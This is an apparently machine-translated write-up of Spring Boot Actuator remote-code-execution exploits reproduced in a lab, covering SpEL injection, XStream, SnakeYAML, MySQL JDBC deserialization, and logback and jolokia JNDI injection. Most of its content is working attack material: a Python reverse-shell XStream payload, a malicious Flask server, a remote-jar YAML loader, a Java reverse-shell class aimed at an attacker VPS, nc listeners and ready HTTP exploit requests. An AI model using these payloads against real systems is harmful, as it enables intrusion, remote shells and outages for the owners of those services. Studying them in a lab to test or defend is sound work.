foreword
Some Spring Boot Actuator unauthorized access vulnerabilities can still be encountered in daily tests. This kind of unauthorized access can achieve the effect of RCE in some cases, so there is still a certain value. The following is a series of Bug reappears.
Basically, it is a reproduction of referring to this article:
Introduction to Spring Boot Actuator
Spring Boot Actuator endpoints are publicly exposed to external access through JMX and HTTP. Most of the time we use HTTP-based Actuator endpoints because they are easy to access through browsers, CURL commands, shell scripts, etc.
Some useful actuator endpoints are:
Spring Boot Actuator unauthorized access
/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的’指标’信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应用程序
- The default starting path of the built-in routing in Spring Boot Actuator 1.x version is
/
, and the 2.x version is unified/actuator
as the starting path - The default built-in routing name of Spring Boot Actuator, such as
/env
sometimes, is modified by programmers, such as/appenv
whitelabel error page SpEL RCE
1 Affected version:
- Affected versions:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
2 Vulnerability principle:
- The use condition is to use the default error page of springboot (Whitelabel Error Page)
-
The spring boot processing parameter value is wrong, and the process enters
org.springframework.util.PropertyPlaceholderHelper
the class -
At this point, the parameter values in the URL will
parseStringValue
be recursively parsed using the method -
${}
The content surrounded by will be parsed and executed by the methodorg.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
of the class as a SpEL expression, resulting in an RCE vulnerabilityresolvePlaceholder
3 Verification detection method:
Step 1: Find a normal parameter passing place
For example, if an access is found /article
, the page will report an error with a status code of 500:Whitelabel Error Page
Step 2: Execute the SpEL expression
Input /article?id=${7*7}
, if it is found that the error page calculates the value 49 of 7*7 and displays it on the error page, then it is basically confirmed that the target has a SpEL expression injection vulnerability.
4 How to use:
Convert from string format to 0x**
java byte form, easy to execute arbitrary code:
# author: Zeo
# python: 3.7
# software: PyCharm
"""
文件说明:转换字节码
"""
# coding: utf-8
result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
Normal access:
http://127.0.0.1:9091/article?id=66
Execute open -a Calculator
the command:
http://127.0.0.1:8080/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
Vulnerability environment construction:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
eureka xstream deserialization RCE
1 Conditions of use:
- You can POST request
/env
the interface setting properties of the target website - You can POST to request
/refresh
the interface refresh configuration of the target website (there isspring-boot-starter-actuator
a dependency) - < 1.8.7 used by the target
eureka-client
(usually included inspring-cloud-starter-netflix-eureka-client
dependencies) - The target can request the attacker's HTTP server (the request can go out to the external network)
2 Vulnerability principle:
- The eureka.client.serviceUrl.defaultZone property is set to a malicious external eureka server URL address
- refresh triggers the target machine to request a remote URL, and the fake eureka server set up in advance will return a malicious payload
- The target machine depends on parsing the payload, triggering XStream deserialization, causing RCE vulnerability
3 Vulnerability environment:
repository/springboot-eureka-xstream-rce
4 Vulnerability recurrence
Normal access:
http://127.0.0.1:9093/env
finds that the required dependencies exist
nc listens on the port, waiting for a rebound shell
Host a website that responds to a malicious XStream payload
Run the malicious script, and modify the ip address and port number of the reverse shell in the script according to the actual situation
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={
'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPSIP",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=777)
Send setting eureka.client.serviceUrl.defaultZone property
POST /env HTTP/1.1
Host: 127.0.0.1:9093
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://VPSIP:777/example
refresh configuration
POST /refresh HTTP/1.1
Host: 127.0.0.1:9093
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Successfully rebound the shell
5 How to use:
Step 1: Build a website that responds to the malicious XStream payload
Provide an example python script that depends on Flask and meets the requirements , and uses the built-in python on the target Linux machine to reverse the shell.
Use python to run the above script on the server you control, and modify the ip address and port number of the rebound shell in the script according to the actual situation.
Step 2: Listen to the port of the reverse shell
Generally use nc to monitor the port and wait for the rebound shell
nc -lvp 443
Step 3: Set the eureka.client.serviceUrl.defaultZone property
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
Step 4: Refresh the configuration
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
spring cloud SnakeYAML RCE
1 Conditions of use:
- You can POST request
/env
the interface setting properties of the target website - You can POST to request
/refresh
the interface refresh configuration of the target website (there isspring-boot-starter-actuator
a dependency) - Target depends on
spring-cloud-starter
version < 1.3.0.RELEASE - The target can request the attacker's HTTP server (the request can go out to the external network)
2 How to use:
Step 1: Host yml and jar files
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
yml
Place a file with the suffix in the root directory of the website example.yml
, the content is as follows:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
jar
Place a file with the suffix in the root directory of the website example.jar
, the content is the code to be executed,
Code writing and compilation method reference (https://github.com/artsploit/yaml-payload).
AwesomeScriptEngineFactory.java
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig quonwz.dnslog.cn");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
package command
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
Packing complete
Step 2: Set the spring.cloud.bootstrap.location property
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml![]()
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
Step 3: Refresh the configuration
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
3 Vulnerability principles:
- The spring.cloud.bootstrap.location property is set to the external malicious yml file URL address
- refresh triggers the target machine to request the yml file on the remote HTTP server to obtain its content
- Due to the deserialization vulnerability of SnakeYAML, the specified action will be completed when parsing malicious yml content
- First trigger java.net.URL to pull the malicious jar file on the remote HTTP server
- Then look for the class that implements the javax.script.ScriptEngineFactory interface in the jar file and instantiate it
- Execute malicious code when instantiating a class, causing an RCE vulnerability
4 Utilize process analytics to:
First, briefly summarize the utilization process
- Use
/env
the endpoint to modifyspring.cloud.bootstrap.location
the attribute value to an external yml configuration file url address, such ashttp://127.0.0.1:63712/yaml-payload.yml
- Request
/refresh
the endpoint, trigger the program to download the external yml file, and analyze it by the SnakeYAML library. Because SnakeYAML supports specifying the parameters of the class type and construction method during deserialization, combined with the classes that come with the JDK, it can realize loading remote jar packages and completejavax.script.ScriptEngineManager
any code execution
We know from the process that the command execution is caused by the deserialization vulnerability of SnakeYAML when parsing the YAML file. Let’s look at an example of deserialization using the SnakeYAML library
@Test
public void testYaml() {
Yaml yaml = new Yaml();
Object url = yaml.load("!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]");
// class java.net.URL
System.out.println(url.getClass());
// http://127.0.0.1:63712/yaml-payload.jar
System.out.println(url);
}
SnakeYAML supports !!
+ the full class name to specify the class to be deserialized, and then pass the constructor parameters in the form of . After the code in the example is executed, an instance of the class [arg1, arg2, ...]
will be deserializedjava.net.URL
yaml-payload.yml
Let's take a look at the content of the external yml file given in the article
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
]]
]
The process of SnakeYAML processing the above content can be equivalent to the following java code
URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));
After the code is executed, http://127.0.0.1:63712/yaml-payload.jar
the jar package will be downloaded from the address, and an implementation class of the interface will be found in the package javax.script.ScriptEngineFactory
, and then instantiated, because the jar package code is controllable, so any code can be executed
5 Vulnerability environment:
repository/springcloud-snakeyaml-rce
Normal access:
http://127.0.0.1:9092/env
springboot mysql jdbc deserialization RCE
1 Conditions of use:
- You can POST request
/env
the interface setting properties of the target website - You can POST to request
/refresh
the interface refresh configuration of the target website (there isspring-boot-starter-actuator
a dependency) mysql-connector-java
Dependencies exist in the target environment- The target can request the attacker's server (the request can go out of the Internet)
2 Vulnerability principle:
- The spring.datasource.url property is set to the external malicious mysql jdbc url address
- A new spring.datasource.url property value is set after refresh
- When the website performs database query and other operations, it will try to use malicious mysql jdbc url to establish a new database connection
- Then the malicious mysql server will return the deserialized payload data at the appropriate stage of establishing the connection
- The mysql-connector-java that the target depends on will deserialize the set gadget, causing an RCE vulnerability
3 Utilization process
Step 1: View environment dependencies
GET request /env
or /actuator/env
, search for mysql-connector-java
the keyword in the environment variable (classpath), and record its version number (5.x or 8.x);
Search and observe whether there are common deserialization gadget dependencies in the environment variables, such as commons-collections
, Jdk7u21
, Jdk8u20
etc.;
Search for spring.datasource.url
the keyword and record its value
value, so as to restore its normal jdbc url value later.
Step 2: Set up a malicious rogue mysql server
Run the springboot-jdbc-deserialization-rce.py script on the server you control , and use ysoserial to customize the commands to be executed:
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
Generate a deserialized payload file in the same directory as the script for use by the script .payload.ser
Step 3: Set the spring.datasource.url property
⚠️ Modifying this attribute will temporarily cause all normal database services of the website to be unavailable, which will affect the business, please operate with caution!
The mysql-connector-java 5.x version sets the attribute value to :
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
The mysql-connector-java 8.x version sets the property value to :
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
Step 4: Refresh the configuration
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
Step 5: Trigger database query
Try to access the known database query interface of the website, for example: /product/list
, or find other ways to actively trigger the source website to perform database query, and then the vulnerability will be triggered
访问http://127.0.0.1:9097//product/list
Step 6: Restore the normal jdbc url
After the exploit of the deserialization vulnerability is completed, use the method of step 3 to restore the original value of recorded in step 1spring.datasource.url
value
restart logging.config logback JNDI RCE
1 Conditions of use:
- You can POST request
/env
the interface setting properties of the target website - You can POST to request
/restart
the interface of the target website to restart the application - Common JNDI injection is affected by the target JDK version, jdk < 6u201/7u191/8u182/11.0.1(LDAP), but the related environment can be bypassed
- ⚠️ The target can request the attacker's HTTP server (the request can go out of the Internet), otherwise restart will cause the program to exit abnormally
- ⚠️ If the HTTP server returns a file containing malformed xml syntax content, the program will exit abnormally
- ⚠️ The object returned by the JNDI service needs to implement
javax.naming.spi.ObjectFactory
the interface, otherwise the program will exit abnormally
2 How to use:
Step Zero: Find Your Target Website
Found that spring actuator
there are currently two versions with relatively large differences, 1.x and 2.x versions. /actuator
From the perspective of routing, the routing name of version 2.x generally has a prefix before the routing name of version 1.x. The relevant vulnerability principles involved in this article have been tested and spring actuator
have little difference in correlation with the major version, and 2.x will be used in the following
Step 1: Host the xml file
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# 使用 python 快速开启 http server
python3 -m http.server 80
Place the file xml
ending with in the root directory example.xml
, the actual content should be determined according to the JNDI service used in step 2:
<configuration>
<insertFromJNDI env-entry-name="ldap://110.xx.xx.110:1389/TomcatBypass/TomcatMemshell3" as="appName" />
</configuration>
Step 2: Host the malicious ldap service and code
Modify JNDIExploit and start (other tools can also be used):
https://github.com/feihong-cs/JNDIExploit
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i 110.xx.xx.110
Step 3: Set logging.config properties
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
Step 4: Restart the application
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
4 Vulnerability principle:
- The target machine sets the logback log configuration file URL address through the logging.config property
- restart After restarting the application, the program will request the URL address to obtain the content of the malicious xml file
- The target machine uses saxParser.parse to parse the xml file (this leads to the xxe vulnerability)
- The xml file uses the
logback
dependentinsertFormJNDI
tag to set the external JNDI server address - The target machine requests a malicious JNDI server, resulting in JNDI injection, resulting in an RCE vulnerability
Springboot jolokia Realm JNDI RCE
1 Normal access:
http://127.0.0.1:9094/env
2 Conditions of use:
- Target website exists
/jolokia
or/actuator/jolokia
interface - The target uses
jolokia-core
dependencies (version requirements are not yet known) and related MBeans exist in the environment - The target can request the attacker's server (the request can go out of the Internet)
- Ordinary JNDI injection is affected by the target JDK version, jdk < 6u141/7u131/8u121(RMI), but the related environment can be bypassed
3 How to use:
Step 1: View existing MBeans
Visit the interface to check whether the and keywords /jolokia/list
exist .type=MBeanFactory
createJNDIRealm
Step 2: Prepare the Java code to be executed
Write optimized Java sample code for reverse shell JNDIObject.java
.
Compile JNDIObject.java into a class file
javac -source 1.5 -target 1.5 /Users/zy/Desktop/JNDIObject.java
Modify the fields of the rebound shell
String ip = "110.110.110.110";
String port = "4443";
code:
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{
"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{
py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{
py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{
"/bin/bash"};
} else {
cmd = new String[]{
"/bin/sh"};
}
}
} else {
cmd = new String[]{
"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
Step 3: Manage class files
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Copy the class file compiled in step 2 to the root directory of the HTTP server.
Step 4: Set up a malicious rmi service
Download marshalsec https://github.com/mbechler/marshalsec, and use the following command to set up the corresponding rmi service:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://110.110.110.110:88/#JNDIObject 1389
Step 5: Listen to the port of the reverse shell
Generally use nc to monitor the port and wait for the rebound shell
nc -lvp 4443
Step 6: Send malicious payload
Modify the target address, RMI address, port and other information in the script according to the actual situation, and then run it on the server controlled by yourself.
需要修改的地方
url = 'http://127.0.0.1:9094/jolokia/'
"value": "rmi://110.110.110.110:1389/JNDIObject"
Code: springboot-realm-jndi-rce.py
import requests
url = 'http://127.0.0.1:9094/jolokia/'
create_realm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
wirte_factory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
write_url = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://110.110.110.110:1389/JNDIObject"
}
stop = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
flow = [create_realm, wirte_factory, write_url, stop, start]
for i in flow:
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)
run python file
The RMI service receives the request
VPS receives bounced shell
4 Vulnerability principle:
- Use jolokia to call createJNDIRealm to create JNDIRealm
- Set connectionURL address to RMI Service URL
- Set contextFactory to RegistryContextFactory
- Stop Realm
- Start Realm to trigger JNDI injection of specified RMI address, causing RCE vulnerability
Springboot jolokia logback JNDI RCE
1 Vulnerability environment, normal access:
http://127.0.0.1:9094/env
2 Conditions of use:
-
Target website exists
/jolokia
or/actuator/jolokia
interface -
The target uses
jolokia-core
dependencies (version requirements are not yet known) and related MBeans exist in the environment -
The target can request the attacker's HTTP server (the request can go out to the external network)
-
Common JNDI injection is affected by the target JDK version, jdk < 6u201/7u191/8u182/11.0.1(LDAP), but the related environment can be bypassed
http://127.0.0.1:9094/jolokia
3 How to use:
Step 1: View existing MBeans
Visit the interface to check whether the and keywords /jolokia/list
exist .ch.qos.logback.classic.jmx.JMXConfigurator
reloadByURL
Step 2: Manage the xml file
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Place a file xml
ending with in the root directory example.xml
with the following content:
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>
Step 3: Set up a malicious ldap service
Download JNDIExploit, and use the following command to set up the corresponding ldap service:
java -jar JNDIExploit-1.3-SNAPSHOT.jar
Step 4: Load the log configuration file from the external URL address
Replace the actual your-vps-ip address to access the URL to trigger the vulnerability:
注意payload种URL
http:!/!/your-vps-ip!/example.xml
其中 / 都是 !/ 替代的
PAYLOAD
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
HTTP request received request
JNDI receives the request
successful command execution
⚠️ If the target successfully requested example.xml and marshalsec also received the target request, but the target did not request JNDIObject.class, the high probability is that the jdk version of the target environment is too high, resulting in JNDI utilization failure.
4 Vulnerability principle:
- Direct access to the URL that can trigger the vulnerability is equivalent to calling the method
ch.qos.logback.classic.jmx.JMXConfigurator
of the class through jolokiareloadByURL
- The target machine requests the URL address of the external log configuration file to obtain the content of the malicious xml file
- The target machine uses saxParser.parse to parse the xml file (this leads to the xxe vulnerability)
- The xml file uses the
logback
dependentinsertFormJNDI
tag to set the external JNDI server address - The target machine requests a malicious JNDI server, resulting in JNDI injection, resulting in an RCE vulnerability
Spring Boot Actuator Vulnerability Reproduction Collection.md